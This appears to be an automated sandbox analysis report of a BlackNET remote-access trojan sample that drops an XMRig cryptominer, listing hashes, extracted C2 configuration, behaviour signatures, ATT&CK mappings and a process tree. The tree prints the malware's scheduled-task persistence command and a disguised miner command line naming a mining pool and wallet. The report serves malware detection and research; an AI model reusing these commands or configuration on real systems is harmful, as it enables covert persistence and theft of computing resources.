Analysis

  • max time kernel
    151s
  • max time network
    152s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    22-07-2021 20:02

General

  • Target

    af711c6269728cc41a4b6cab99dc00d2.exe

  • Size

    3.2MB

  • MD5

    af711c6269728cc41a4b6cab99dc00d2

  • SHA1

    02a1cff69f43552c5aa6fea7547e5f68018dbc84

  • SHA256

    4ff431768417c7103657b6554962998af3b2f90180e6f19e66e671b4f706061c

  • SHA512

    94b6ba8fcdbb5dd175096e305698a41078fb1a99725610bb49159d02ccf2484b01fd7bfcf48fb4644af6b92c77453855f7eba46445f93ff449317f25613bb8a6

Malware Config

Extracted

Family

blacknet

Version

v3.7.0 Public

Botnet

OTwjgZ

C2

http://54.237.66.139

Mutex

BN[a4bfa882efc194e2bcd370ea]

Attributes
  • antivm

    false

  • elevate_uac

    false

  • install_name

    WindowsUpdate.exe

  • splitter

    |BN|

  • start_name

    19eb68018edbdeae69b26450d3d0915f

  • startup

    false

  • usb_spread

    false

Signatures

  • BlackNET

    BlackNET is an open source remote access tool written in VB.NET.

  • BlackNET Payload 5 IoCs
  • Contains code to disable Windows Defender 5 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 3 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 5 IoCs
  • Uses the VBS compiler for execution 1 TTPs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 17 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 41 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\af711c6269728cc41a4b6cab99dc00d2.exe
    "C:\Users\Admin\AppData\Local\Temp\af711c6269728cc41a4b6cab99dc00d2.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:632
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
      "{path}"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3828
      • C:\Users\Admin\AppData\Local\Temp\phone.exe
        "C:\Users\Admin\AppData\Local\Temp\phone.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:804
      • C:\Users\Admin\AppData\Local\Temp\phoneupdate.exe
        "C:\Users\Admin\AppData\Local\Temp\phoneupdate.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3180
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "userupdate" /tr '"C:\Users\Admin\AppData\Roaming\userupdate.exe"' & exit
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1004
          • C:\Windows\system32\schtasks.exe
            schtasks /create /f /sc onlogon /rl highest /tn "userupdate" /tr '"C:\Users\Admin\AppData\Roaming\userupdate.exe"'
            5⤵
            • Creates scheduled task(s)
            PID:1784
        • C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
          "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
          4⤵
          • Executes dropped EXE
          PID:2044
        • C:\Users\Admin\AppData\Roaming\userupdate.exe
          "C:\Users\Admin\AppData\Roaming\userupdate.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1172
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "userupdate" /tr '"C:\Users\Admin\AppData\Roaming\userupdate.exe"' & exit
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:3892
            • C:\Windows\system32\schtasks.exe
              schtasks /create /f /sc onlogon /rl highest /tn "userupdate" /tr '"C:\Users\Admin\AppData\Roaming\userupdate.exe"'
              6⤵
              • Creates scheduled task(s)
              PID:3296
          • C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
            "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
            5⤵
            • Executes dropped EXE
            PID:2120
          • C:\Windows\System32\cmd.exe
            C:\Windows/System32\cmd.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=mine.c3pool.com:13333 --user=439KJy5uZoHFetfkQ45pdjRnjLzN1TsFn2NLxPcZbTMwTqJGGpJw4SEM4NhUygc7xacM16VKBNq2Hfe52KmiWTpE46UsCLH --pass= --cpu-max-threads-hint=20 --donate-level=5 --cinit-idle-wait=5 --cinit-idle-cpu=80 --cinit-stealth
            5⤵
            • Blocklisted process makes network request
            • Suspicious use of AdjustPrivilegeToken
            PID:3988

Network

MITRE ATT&CK Matrix ATT&CK v6

Execution

Scripting

1
T1064

Scheduled Task

1
T1053

Persistence

Scheduled Task

1
T1053

Privilege Escalation

Scheduled Task

1
T1053

Defense Evasion

Scripting

1
T1064

Discovery

System Information Discovery

1
T1082

Command and Control

Web Service

1
T1102

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\phone.exe
    MD5

    a18b7cb1fe97912ffc3e38d76ccc0462

    SHA1

    c5908c111223d69f532973643381983ba385c1c1

    SHA256

    2d5e2831e24496bd74a7a2317f824657905cdadaeb00f5c6e33e9b75c5231a2f

    SHA512

    d92025f6eb3ab4a594113813284361694ce1b78cfd513d88f4ea842ea7d37c91976066b33089c4da048e39cc4c65654637d2a14138327df40f89d4bb0963be1c

  • C:\Users\Admin\AppData\Local\Temp\phone.exe
    MD5

    a18b7cb1fe97912ffc3e38d76ccc0462

    SHA1

    c5908c111223d69f532973643381983ba385c1c1

    SHA256

    2d5e2831e24496bd74a7a2317f824657905cdadaeb00f5c6e33e9b75c5231a2f

    SHA512

    d92025f6eb3ab4a594113813284361694ce1b78cfd513d88f4ea842ea7d37c91976066b33089c4da048e39cc4c65654637d2a14138327df40f89d4bb0963be1c

  • C:\Users\Admin\AppData\Local\Temp\phoneupdate.exe
    MD5

    c169f9a4c5c32e4ceb4ff58d1c86e969

    SHA1

    8cdad283c3c44202cb3dc50928d8f80ce885715c

    SHA256

    aa7017fd7ec87d6f3abfe5b52b62b36936312a9ad280ebe74769a096cb2b06a6

    SHA512

    3c6fe017bd76b12db3a91fdef1b673c1062a601c6863c41ac2320a1727376af54d5bae9f9237f8f5b554f7fe39852ef550feef15b5b8c125060d6cc5fff4d01b

  • C:\Users\Admin\AppData\Local\Temp\phoneupdate.exe
    MD5

    c169f9a4c5c32e4ceb4ff58d1c86e969

    SHA1

    8cdad283c3c44202cb3dc50928d8f80ce885715c

    SHA256

    aa7017fd7ec87d6f3abfe5b52b62b36936312a9ad280ebe74769a096cb2b06a6

    SHA512

    3c6fe017bd76b12db3a91fdef1b673c1062a601c6863c41ac2320a1727376af54d5bae9f9237f8f5b554f7fe39852ef550feef15b5b8c125060d6cc5fff4d01b

  • C:\Users\Admin\AppData\Roaming\Microsoft\Libs\WR64.sys
    MD5

    0c0195c48b6b8582fa6f6373032118da

    SHA1

    d25340ae8e92a6d29f599fef426a2bc1b5217299

    SHA256

    11bd2c9f9e2397c9a16e0990e4ed2cf0679498fe0fd418a3dfdac60b5c160ee5

    SHA512

    ab28e99659f219fec553155a0810de90f0c5b07dc9b66bda86d7686499fb0ec5fddeb7cd7a3c5b77dccb5e865f2715c2d81f4d40df4431c92ac7860c7e01720d

  • C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
    MD5

    94de80b9dbb3379c59a370b83bbffd90

    SHA1

    9b65d5fba13c1174af142de9fdb17cd9989332fc

    SHA256

    5808a167ef048cca53662ca6d02d9325c7c7943baedf962e4c77803f04d39c9b

    SHA512

    1fdce23f2d8c6d0dd9d69e055028440e408e8c8eaf6f5c0371803e225b37be14e97614adb2cea36f0958f077a53ec27477d7b856cfc1d4284514f2e795a0bea7

  • C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
    MD5

    94de80b9dbb3379c59a370b83bbffd90

    SHA1

    9b65d5fba13c1174af142de9fdb17cd9989332fc

    SHA256

    5808a167ef048cca53662ca6d02d9325c7c7943baedf962e4c77803f04d39c9b

    SHA512

    1fdce23f2d8c6d0dd9d69e055028440e408e8c8eaf6f5c0371803e225b37be14e97614adb2cea36f0958f077a53ec27477d7b856cfc1d4284514f2e795a0bea7

  • C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
    MD5

    94de80b9dbb3379c59a370b83bbffd90

    SHA1

    9b65d5fba13c1174af142de9fdb17cd9989332fc

    SHA256

    5808a167ef048cca53662ca6d02d9325c7c7943baedf962e4c77803f04d39c9b

    SHA512

    1fdce23f2d8c6d0dd9d69e055028440e408e8c8eaf6f5c0371803e225b37be14e97614adb2cea36f0958f077a53ec27477d7b856cfc1d4284514f2e795a0bea7

  • C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
    MD5

    94de80b9dbb3379c59a370b83bbffd90

    SHA1

    9b65d5fba13c1174af142de9fdb17cd9989332fc

    SHA256

    5808a167ef048cca53662ca6d02d9325c7c7943baedf962e4c77803f04d39c9b

    SHA512

    1fdce23f2d8c6d0dd9d69e055028440e408e8c8eaf6f5c0371803e225b37be14e97614adb2cea36f0958f077a53ec27477d7b856cfc1d4284514f2e795a0bea7

  • C:\Users\Admin\AppData\Roaming\userupdate.exe
    MD5

    c169f9a4c5c32e4ceb4ff58d1c86e969

    SHA1

    8cdad283c3c44202cb3dc50928d8f80ce885715c

    SHA256

    aa7017fd7ec87d6f3abfe5b52b62b36936312a9ad280ebe74769a096cb2b06a6

    SHA512

    3c6fe017bd76b12db3a91fdef1b673c1062a601c6863c41ac2320a1727376af54d5bae9f9237f8f5b554f7fe39852ef550feef15b5b8c125060d6cc5fff4d01b

  • C:\Users\Admin\AppData\Roaming\userupdate.exe
    MD5

    c169f9a4c5c32e4ceb4ff58d1c86e969

    SHA1

    8cdad283c3c44202cb3dc50928d8f80ce885715c

    SHA256

    aa7017fd7ec87d6f3abfe5b52b62b36936312a9ad280ebe74769a096cb2b06a6

    SHA512

    3c6fe017bd76b12db3a91fdef1b673c1062a601c6863c41ac2320a1727376af54d5bae9f9237f8f5b554f7fe39852ef550feef15b5b8c125060d6cc5fff4d01b

  • memory/632-122-0x0000000005650000-0x00000000058E6000-memory.dmp
    Filesize

    2.6MB

  • memory/632-116-0x0000000007ED0000-0x0000000007ED1000-memory.dmp
    Filesize

    4KB

  • memory/632-114-0x0000000000920000-0x0000000000921000-memory.dmp
    Filesize

    4KB

  • memory/632-119-0x00000000079D0000-0x0000000007ECE000-memory.dmp
    Filesize

    5.0MB

  • memory/632-118-0x0000000007AA0000-0x0000000007AA1000-memory.dmp
    Filesize

    4KB

  • memory/632-121-0x0000000002E70000-0x0000000002E72000-memory.dmp
    Filesize

    8KB

  • memory/632-123-0x0000000005D80000-0x0000000005FC4000-memory.dmp
    Filesize

    2.3MB

  • memory/632-117-0x0000000007AB0000-0x0000000007AB1000-memory.dmp
    Filesize

    4KB

  • memory/632-120-0x0000000009F30000-0x0000000009F31000-memory.dmp
    Filesize

    4KB

  • memory/804-148-0x0000022A2DDF0000-0x0000022A2DDF1000-memory.dmp
    Filesize

    4KB

  • memory/804-156-0x0000022A482D0000-0x0000022A482D2000-memory.dmp
    Filesize

    8KB

  • memory/804-157-0x0000022A482D3000-0x0000022A482D4000-memory.dmp
    Filesize

    4KB

  • memory/804-158-0x0000022A482D2000-0x0000022A482D3000-memory.dmp
    Filesize

    4KB

  • memory/804-159-0x0000022A482D5000-0x0000022A482D7000-memory.dmp
    Filesize

    8KB

  • memory/804-141-0x0000000000000000-mapping.dmp
  • memory/1004-162-0x0000000000000000-mapping.dmp
  • memory/1172-180-0x0000000002B30000-0x0000000002B31000-memory.dmp
    Filesize

    4KB

  • memory/1172-168-0x0000000000000000-mapping.dmp
  • memory/1172-187-0x0000000002B20000-0x0000000002B2A000-memory.dmp
    Filesize

    40KB

  • memory/1172-177-0x0000000002B80000-0x0000000002B82000-memory.dmp
    Filesize

    8KB

  • memory/1784-163-0x0000000000000000-mapping.dmp
  • memory/2044-176-0x000000001BBD0000-0x000000001BBD2000-memory.dmp
    Filesize

    8KB

  • memory/2044-164-0x0000000000000000-mapping.dmp
  • memory/2044-167-0x0000000000010000-0x0000000000011000-memory.dmp
    Filesize

    4KB

  • memory/2044-174-0x0000000000890000-0x0000000000892000-memory.dmp
    Filesize

    8KB

  • memory/2120-181-0x0000000000000000-mapping.dmp
  • memory/2120-196-0x000000001BD40000-0x000000001BD42000-memory.dmp
    Filesize

    8KB

  • memory/3180-160-0x000000001CA90000-0x000000001CA92000-memory.dmp
    Filesize

    8KB

  • memory/3180-150-0x0000000000000000-mapping.dmp
  • memory/3180-161-0x000000001CEA0000-0x000000001D0BB000-memory.dmp
    Filesize

    2.1MB

  • memory/3180-153-0x0000000000CA0000-0x0000000000CA1000-memory.dmp
    Filesize

    4KB

  • memory/3296-179-0x0000000000000000-mapping.dmp
  • memory/3828-135-0x0000000009140000-0x0000000009141000-memory.dmp
    Filesize

    4KB

  • memory/3828-136-0x0000000008F40000-0x000000000943E000-memory.dmp
    Filesize

    5.0MB

  • memory/3828-125-0x000000000063636E-mapping.dmp
  • memory/3828-124-0x0000000000400000-0x000000000063C000-memory.dmp
    Filesize

    2.2MB

  • memory/3892-178-0x0000000000000000-mapping.dmp
  • memory/3988-188-0x0000000140000000-0x0000000140758000-memory.dmp
    Filesize

    7.3MB

  • memory/3988-189-0x00000001402EB66C-mapping.dmp
  • memory/3988-190-0x0000023BE46E0000-0x0000023BE4700000-memory.dmp
    Filesize

    128KB

  • memory/3988-191-0x0000000140000000-0x0000000140758000-memory.dmp
    Filesize

    7.3MB

  • memory/3988-194-0x0000023BE4720000-0x0000023BE4740000-memory.dmp
    Filesize

    128KB

  • memory/3988-197-0x0000023BE4740000-0x0000023BE4760000-memory.dmp
    Filesize

    128KB